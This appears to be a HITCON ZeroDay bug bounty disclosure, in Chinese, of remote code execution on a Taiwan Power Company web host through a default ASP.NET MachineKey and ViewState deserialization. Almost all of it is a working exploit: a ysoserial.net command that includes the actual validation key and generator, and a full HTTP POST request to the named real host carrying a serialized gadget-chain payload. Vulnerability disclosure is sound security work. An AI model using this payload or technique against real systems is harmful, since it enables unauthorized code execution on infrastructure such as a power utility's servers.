[Bounty] 台灣電力公司 RCE - HITCON ZeroDay

OMICard系統安裝後使用預設MachineKey，導致攻擊者可以使用該MachineKey透過ViewState反序列化來造成RCE，相關CVE編號還在申請中。

透過ysoserial.net建置payload:

ysoserial_frmv2.exe -p ViewState -g ActivitySurrogateSelectorFromFile -c "ExploitClass.cs;./dlls/System.dll;./dlls/System.Web.dll" --generator="0B6691E4" --validationalg="SHA1" --validationkey="44E205E58DCFD683291E7E4E7F2B41E0B10D38F92E1BB81CD89410051BBCEA8D0EB49AAF34C8127306E6540AA92EEE70EFBDE707D8A323523849D0A4E247ADC1" --islegacy

完整攻擊封包:

POST /Questionary/ HTTP/1.1
Host: click-ebppsmtpt.taipower.com.tw
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 12841

__VIEWSTATE=%2fwEy60kAAQAAAP%2f%2f%2f%2f8BAAAAAAAAAAwCAAAATlN5c3RlbS5EYXRhLCBWZXJzaW9uPTIuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OQUBAAAAE1N5c3RlbS5EYXRhLkRhdGFTZXQKAAAAFkRhdGFTZXQuUmVtb3RpbmdGb3JtYXQTRGF0YVNldC5EYXRhU2V0TmFtZRFEYXRhU2V0Lk5hbWVzcGFjZQ5EYXRhU2V0LlByZWZpeBVEYXRhU2V0LkNhc2VTZW5zaXRpdmUSRGF0YVNldC5Mb2NhbGVMQ0lEGkRhdGFTZXQuRW5mb3JjZUNvbnN0cmFpbnRzGkRhdGFTZXQuRXh0ZW5kZWRQcm9wZXJ0aWVzFERhdGFTZXQuVGFibGVzLkNvdW50EERhdGFTZXQuVGFibGVzXzAEAQEBAAAAAgAHH1N5c3RlbS5EYXRhLlNlcmlhbGl6YXRpb25Gb3JtYXQCAAAAAQgBCAICAAAABf3%2f%2f%2f8fU3lzdGVtLkRhdGEuU2VyaWFsaXphdGlvbkZvcm1hdAEAAAAHdmFsdWVfXwAIAgAAAAEAAAAGBAAAAAAJBAAAAAkEAAAAAAkEAAAACgEAAAAJBQAAAA8FAAAA%2byIAAAIAAQAAAP%2f%2f%2f%2f8BAAAAAAAAAAQBAAAAf1N5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLkxpc3RgMVtbU3lzdGVtLk9iamVjdCwgbXNjb3JsaWIsIFZlcnNpb249Mi4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0DAAAABl9pdGVtcwVfc2l6ZQhfdmVyc2lvbgUAAAgICQIAAAAHAAAABwAAABACAAAACAAAAAkDAAAACQQAAAAJBQAAAAkGAAAACQcAAAAJCAAAAAkJAAAACgwKAAAAYVN5c3RlbS5Xb3JrZmxvdy5Db21wb25lbnRNb2RlbCwgVmVyc2lvbj0zLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPTMxYmYzODU2YWQzNjRlMzUFAwAAAGpTeXN0ZW0uV29ya2Zsb3cuQ29tcG9uZW50TW9kZWwuU2VyaWFsaXphdGlvbi5BY3Rpdml0eVN1cnJvZ2F0ZVNlbGVjdG9yK09iamVjdFN1cnJvZ2F0ZStPYmplY3RTZXJpYWxpemVkUmVmAgAAAAR0eXBlC21lbWJlckRhdGFzAwUfU3lzdGVtLlVuaXR5U2VyaWFsaXphdGlvbkhvbGRlcgoAAAAJCwAAAAkMAAAAAQQAAAADAAAACQ0AAAAJDgAAAAEFAAAAAwAAAAkPAAAACRAAAAABBgAAAAMAAAAJEQAAAAkSAAAAAQcAAAADAAAACRMAAAAJFAAAAAEIAAAAAwAAAAkVAAAACRYAAAAECQAAABxTeXN0ZW0uQ29sbGVjdGlvbnMuSGFzaHRhYmxlBwAAAApMb2FkRmFjdG9yB1ZlcnNpb24IQ29tcGFyZXIQSGFzaENvZGVQcm92aWRlcghIYXNoU2l6ZQRLZXlzBlZhbHVlcwAAAwMABQULCBxTeXN0ZW0uQ29sbGVjdGlvbnMuSUNvbXBhcmVyJFN5c3RlbS5Db2xsZWN0aW9ucy5JSGFzaENvZGVQcm92aWRlcgjsUTg%2fAgAAAAoKCwAAAAkXAAAACRgAAAAECwAAAB9TeXN0ZW0uVW5pdHlTZXJpYWxpemF0aW9uSG9sZGVyAwAAAAREYXRhCVVuaXR5VHlwZQxBc3NlbWJseU5hbWUBAAEIBhkAAAD4AVN5c3RlbS5MaW5xLkVudW1lcmFibGUrV2hlcmVTZWxlY3RMaXN0SXRlcmF0b3JgMltbU3lzdGVtLkJ5dGVbXSwgbXNjb3JsaWIsIFZlcnNpb249Mi4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XSxbU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHksIG1zY29ybGliLCBWZXJzaW9uPTIuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dBAAAAAYaAAAATlN5c3RlbS5Db3JlLCBWZXJzaW9uPTMuNS4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4ORAMAAAABwAAAAkbAAAACgkcAAAACR0AAAAICAAAAAAKCAgBAAAAAQ0AAAALAAAABh4AAAD4AVN5c3RlbS5MaW5xLkVudW1lcmFibGUrPFNlbGVjdE1hbnlJdGVyYXRvcj5kX18xNGAyW1tTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseSwgbXNjb3JsaWIsIFZlcnNpb249Mi4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XSxbU3lzdGVtLlR5cGUsIG1zY29ybGliLCBWZXJzaW9uPTIuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dBAAAAAkaAAAAEA4AAAALAAAACggI%2fv%2f%2f%2fwgIAQAAAAoJAwAAAAoJIQAAAA0EAQ8AAAALAAAABiIAAADvAVN5c3RlbS5MaW5xLkVudW1lcmFibGUrV2hlcmVTZWxlY3RFbnVtZXJhYmxlSXRlcmF0b3JgMltbU3lzdGVtLlR5cGUsIG1zY29ybGliLCBWZXJzaW9uPTIuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV0sW1N5c3RlbS5PYmplY3QsIG1zY29ybGliLCBWZXJzaW9uPTIuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dBAAAAAkaAAAAEBAAAAAHAAAACQQAAAAKCSUAAAAKCAgAAAAACggIAQAAAAERAAAACwAAAAYmAAAAKVN5c3RlbS5XZWIuVUkuV2ViQ29udHJvbHMuUGFnZWREYXRhU291cmNlBAAAAAYnAAAATVN5c3RlbS5XZWIsIFZlcnNpb249Mi4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iMDNmNWY3ZjExZDUwYTNhEBIAAAAHAAAACQUAAAAICAAAAAAICAoAAAAIAQAIAQAIAQAICAAAAAABEwAAAAsAAAAGKQAAAClTeXN0ZW0uQ29tcG9uZW50TW9kZWwuRGVzaWduLkRlc2lnbmVyVmVyYgQAAAAGKgAAAElTeXN0ZW0sIFZlcnNpb249Mi4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5EBQAAAAFAAAADQIJKwAAAAgIAwAAAAkIAAAAARUAAAALAAAABi0AAAA0U3lzdGVtLlJ1bnRpbWUuUmVtb3RpbmcuQ2hhbm5lbHMuQWdncmVnYXRlRGljdGlvbmFyeQQAAAAGLgAAAEttc2NvcmxpYiwgVmVyc2lvbj0yLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkQFgAAAAEAAAAJBgAAABAXAAAAAgAAAAkHAAAACQcAAAAQGAAAAAIAAAAGMQAAAAVIZWxsbwYyAAAABkhlbGxvMgQbAAAAf1N5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLkxpc3RgMVtbU3lzdGVtLkJ5dGVbXSwgbXNjb3JsaWIsIFZlcnNpb249Mi4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0DAAAABl9pdGVtcwVfc2l6ZQhfdmVyc2lvbgMAAA9TeXN0ZW0uQnl0ZVtdW10ICAkzAAAAAQAAAAEAAAAEHAAAACJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyAgAAAAhEZWxlZ2F0ZQdtZXRob2QwAwMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcitEZWxlZ2F0ZUVudHJ5L1N5c3RlbS5SZWZsZWN0aW9uLk1lbWJlckluZm9TZXJpYWxpemF0aW9uSG9sZGVyCTQAAAAJNQAAAAQdAAAAigFTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5MaXN0YDErRW51bWVyYXRvcltbU3lzdGVtLkJ5dGVbXSwgbXNjb3JsaWIsIFZlcnNpb249Mi4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0EAAAABGxpc3QFaW5kZXgHdmVyc2lvbgdjdXJyZW50AwAAB39TeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5MaXN0YDFbW1N5c3RlbS5CeXRlW10sIG1zY29ybGliLCBWZXJzaW9uPTIuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dCAgCCgAAAAAAAAAACgEhAAAAHAAAAAk2AAAACTcAAAABJQAAABwAAAAJOAAAAAk5AAAAASsAAAADAAAACToAAAAJOwAAAAczAAAAAQEAAAAEAAAABwIJPAAAAAoK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